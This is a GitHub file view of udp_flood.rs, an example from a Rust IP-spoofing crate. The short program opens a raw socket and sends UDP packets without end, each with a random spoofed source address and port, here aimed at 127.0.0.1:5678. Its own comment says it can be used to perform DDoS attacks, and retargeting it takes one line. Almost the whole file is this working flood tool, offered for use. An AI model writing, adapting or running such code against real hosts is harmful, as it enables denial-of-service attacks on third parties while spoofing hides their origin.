-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathudp_flood.rs
More file actions
32 lines (28 loc) · 1.08 KB
/
udp_flood.rs
File metadata and controls
32 lines (28 loc) · 1.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
use ip_spoofing::{self, RawSocket, ReusablePacketWriter, rand::*};
/// This example shows how to generate a bunch of fake UDP packets.
/// It can be used to perform DDoS attacks.
///
/// In this case it will spam UDP packets to `127.0.0.1:5678`
fn main() -> ip_spoofing::Result<()> {
//wrapper around raw sockets, requires root privileges
let socket = RawSocket::new()?;
//wrapper for writing packets in pre-allocated memory
let mut writer = ReusablePacketWriter::new();
//thread-local pseudorandom number generator
let mut rng = rng();
//endless spam with a randomly generated UDP packet
loop {
let ret = socket.send_fake_udp_packet(
&mut writer,
rng.random(), //random source IPv4 address
rng.random(), //random source port
[127, 0, 0, 1], //destination IPv4 address
5678, //destination port
b"hey", //data
64, //TTL on most Linux machines is 64
);
if let Err(err) = ret {
println!("{err:?}");
}
}
}